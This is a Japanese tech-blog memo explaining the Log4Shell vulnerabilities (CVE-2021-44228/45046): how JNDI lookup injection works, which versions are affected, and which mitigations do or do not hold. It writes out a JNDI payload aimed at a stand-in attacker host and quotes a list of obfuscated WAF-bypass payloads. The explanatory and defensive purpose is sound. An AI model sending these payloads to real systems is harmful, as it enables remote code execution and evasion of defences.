てきとうなメモ

本の感想とか技術メモとか

log4j2の脆弱性(CVE-2021-44228)

少し調べたのでメモ

概要

外部からの入力をlog4jでそのままログ出力しようとすると、任意のコードを実行できる脆弱性

CVE-2021-45046とv2.16.0について

v2.15.0で修正されたかに見えたが、MessagePatternConverter以外の攻撃経路が見つかった。そのため、v2.16.0へのアップデートが推奨される。formatMsgNoLookupsや%m{nolookups}では防げない経路なので、これらによる対策も不十分である。

v2.16.0ではJNDIの機能そのものをデフォルトでオフにして、メッセージ内のLookup機能は削除されている。

ただし、v2.15.0のデフォルト設定でJNDIへのアクセスはlocalhost等の自身へのアクセスに限られているので、危険度は低い localhostのbypass手段が見つかったようだ。そのため、Lookup可能な経路で攻撃されるとJNDI Injectionで外部のLDAP等に接続することができる模様。

攻撃経路については、以下の部分を参照。

Log4j – Apache Log4j Security Vulnerabilities

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.

 

The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.

攻撃方法

  1. 攻撃者が攻撃対象のサービスのログを出力してそうなところに${jndi:ldap://attacker.com/a}みたいな入力を入れる
  2. 攻撃対象のサーバはこの入力をログに出力しようとする。log4jの機能で${jndi:ldap://attacker.com/a}を変数展開しようとして、attacker.comにLDAPでアクセスする。
  3. attacker.comは攻撃者の管理するホストで、そのLDAPサーバはJavaのReferenceオブジェクト(をシリアライズしたもの)を返す。Referenceオブジェクトはhttp://attacker2.com/B.classのような参照先を含む
  4. 攻撃対象のサーバは参照先のB.classをロードしてオブジェクトを生成しようとする。この時、Bクラスのstaticブロックが実行される。

何が影響するか

以下の条件に当てはまるソフトウェア(Webアプリを想定しがちだが、Java製でlog4jを利用して外部入力を受け取ってログに吐いているなら該当する)

  • log4jの 2.0-beta9〜2.14.1を利用(v2.15.0も攻撃可能なケースがある)
  • Java 6u211、7u201、8u191、11.0.1未満を利用
  • 外部入力をそのままログ出力している

(追記:2021/12/15 7:33) v2.15.0においても、デフォルトの設定でJNDIを実行できる経路が見つかったので、v2.15.0もある程度影響がある。ただし、v2.15.0デフォルトでlocalhostにしかアクセスできないので、危険性は低い

影響のあるサービス、アプリ

以下でリストアップしているっぽい。

GitHub - YfryTchsGD/Log4jAttackSurface

(追記: 2021/12/12 18:55)

あくまでJndiLookupの実行までの確認で、RCEまで実行できるかは別ものだと思われる。

${jndi:ldap://xxx.dnslog.cn/a}を入力して、対象サーバにldap://xxx.dnslog.cn/aにアクセスさせて、xxx.dnslog.cnの名前解決をさせて、xxx.dnslog.cnに名前解決があったことを記録するのだと。

1.xは影響があるのか

ITMediaの記事で1.xもと書かれてあった。

「やばすぎる」 Javaライブラリ「Log4j」にゼロデイ脆弱性、任意のリモートコードを実行可能 iCloudやSteam、Minecraftなど広範囲のJava製品に影響か - ITmedia NEWS

この脆弱性の影響があるのは、Log4jのバージョン2.0から2.14.1までと当初みられていたが、Log4jのGitHub上の議論では、1.x系も同様の脆弱性を抱えていることが報告されている。対策には、修正済みのバージョンである2.15.0-rc2へのアップデートが推奨されている。

しかし、1.xにはJndiLookupの機能がないので、今回の脆弱性は存在しないと考える。

(追記) JMSAppenderの話っぽい

Restrict LDAP access via JNDI by rgoers · Pull Request #608 · apache/logging-log4j2 · GitHub

If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input

JMSAppenderを利用していて、TopicBindingName/TopicConnectionFactoryBindingNameに攻撃者のLDAPのURLを設定できれば同様のことが可能なのだが、これにはlog4jの設定ファイルを攻撃者が修正可能であるという前提が必要。

さすがにこれを持って1.xも同様の脆弱性があるとするのは違うのではと思う。

原因

log4jにJndiLookupの機能がありデフォルトで有効になっていたことと、JavaにJDNI Injectionの脆弱性があったことの合わせ技。

JndiLookup

log4j2からLookupという機能が追加された。

これは変数を展開する機能で、例えば${env:USER}という文字列はUSER環境変数の値に展開される。

JndiLookupはLookupの1つで、${jndi:xxxx}という変数をJNDIでxxxxをlookupした値に展開する.この時のJNDI Injectionが利用されて、任意のコードが実行される。

Lookupの動きは、MessagePatternConverter→StrSubstitutor→Interpolator,各種Lookupという流れでコードを読むとなんとなく理解できる。

JNDI Injection

詳しくはこちらを参照。

JNDIはJavaの名前解決、ディレクトリサービス機能であり、LDAP、RMI、CORBAなどに統一的なインターフェースでアクセスすることができる。

ctx.bind(name, value); // ctxはjavax.naming.Context

で名前に対する値を保存でき

Object value = ctx.lookup(name);

で、名前を指定して、値を取得することができる。値はJavaのオブジェクトを指定でき、LDAPにもシリアライズした形で保存される。

さらに、JNDIにはReferenceというクラスがあり、保存するオブジェクトのファクトリクラスをディレクトリサービスとは別の場所に保存して参照する仕組みがある。この参照先にhttp://attacker2.com/B.classなどを指定すると、lookupする時にB.classをロードしようとしてクラスBのstaticブロックが実行されるというものである。

この問題に関しては、6u211、7u201、8u191、11.0.1 で修正が入ったため、新しいJavaのバージョンでは攻撃できない。 今回攻撃されたのは、これら未満のバージョンを利用していたのだと思われる。

リンク先にはRMIやCORBAでの攻撃方法も紹介されている。

対策

log4jを修正版のv2.15.0v2.16.0にアップデートする

一番正攻法。

(追記:2021/12/15 7:33) v2.15.0でもJNDIを実行可能な経路があるため、v2.16.0にアップデートした方が良い

formatMsgNoLookups=trueにする

JVM起動時に-Dlog4j2.formatMsgNoLookups=trueにしたり環境変数LOG4J_FORMAT_MSG_NO_LOOKUPSをtrueにしてJVMを起動する。

v2.10.0以上の場合のみ有効。Lookupの機能がオフになる。

(追記:2021/12/15 7:33) CVE-2021-45046において、MessagePatternConverter以外の別の経路の攻撃方法が見つかったので、この方法は推奨できない

%mを%m{nolookups}に変更する

log4jの設定ファイルで、%mと書いている部分を%m{nolookups}に変更する。

Pattern(log4jでどのようなフォーマットでログを出力するかを指定する部分)の%m(ログ出力メソッドに渡した文字列引数の値)でLookupを実行しないようにしている。

v2.7.0以上の場合のみ有効。

(追記:2021/12/15 7:33) CVE-2021-45046において、MessagePatternConverter以外の別の経路の攻撃方法が見つかったので、この方法は推奨できない

Javaをアップデートする

6u211、7u201、8u191、11.0.1以上にすると、今回の攻撃に利用されるJNDI Injectionができなくなる。

ただし、8u191以上でも攻撃可能な方法があるようだ。

ただ、リンク先の記事はTomcatが対象であり、Tomcatで攻撃可能な部分(BeanFactoryとELProcessor)を利用して攻撃しており、今回のような攻撃者が作成したクラスファイルを指定する方法とは異なる。攻撃対象にELProcessorのようなevalの機能があるクラスがないとうまくいかないと思われる。

(追記:2021/12/16 07:16) Tomcat以外にも攻撃可能な方法が見つかっているようなので、これも推奨できない

log4jのjarファイルからJndiLookup.classを削除する

JndiLookupの機能を強制削除できるので有効であるが、例外が発生すると思うので、その時どうなるかは検証する必要がある。

WAFを利用する

WAFで${jndi:xxx}のような入力をブロックするという方法はある。

AWSではWAFのルールが追加されたようである。

Log4jの脆弱性対策としてAWS WAFのマネージドルールに「Log4JRCE」が追加されました | DevelopersIO

ただし、以下のようなBypass方法はある模様。AWSで対応しているかどうかは不明。

GitHub - tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce: Apache Log4j 远程代码执行

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

lower:は文字列を小文字に変換するLookup。あとは、Javaのバージョンが古いとLDAPではなくRMIのサーバを利用して攻撃可能ということかな。

FireWallでLDAP等のアクセスを防ぐ

根本的な解決策ではないので、あまり推奨しない。

また、外部入力からLDAPサーバのポートは指定可能なので、ポートではなくアプリケーションプロトコルを見てブロックする必要がある。

log4j 2.15.0における修正

以下の2つがメインかな。

こんな感じの修正が入っている。

  • デフォルトでメッセージ内のLookupをしないようにした
    • %m{lookup}でlookupするようになる
    • formatMsgNoLookupsの指定もできなくなった
  • JndiLookupを制限
    • プロトコルを制限
      • デフォルトでjava/ldap/ldapsに制限
      • その他のプロトコルを使いたい場合はlog4j2.allowedJndiProtocolsに指定する
    • LDAPにアクセスする場合のホストの制限
      • デフォルトでローカルのホスト名とIPアドレス(ex. localhost, 127.0.0.1)に制限
      • その他のホストにアクセスする場合はlog4j2.allowedLdapHostsに指定する
    • LDAPからJavaのオブジェクトを取得する場合のクラスの制限
      • デフォルトでJavaのプリミティブなクラス(ex. Integer, Double, String)に制限
      • その他のクラスのオブジェクトを取得する場合はlog4j2.allowedLdapClassesに指定する
    • LDAPからReferenceは取得しない

参考

CVE-2021-44228について

JNDI Injectionについて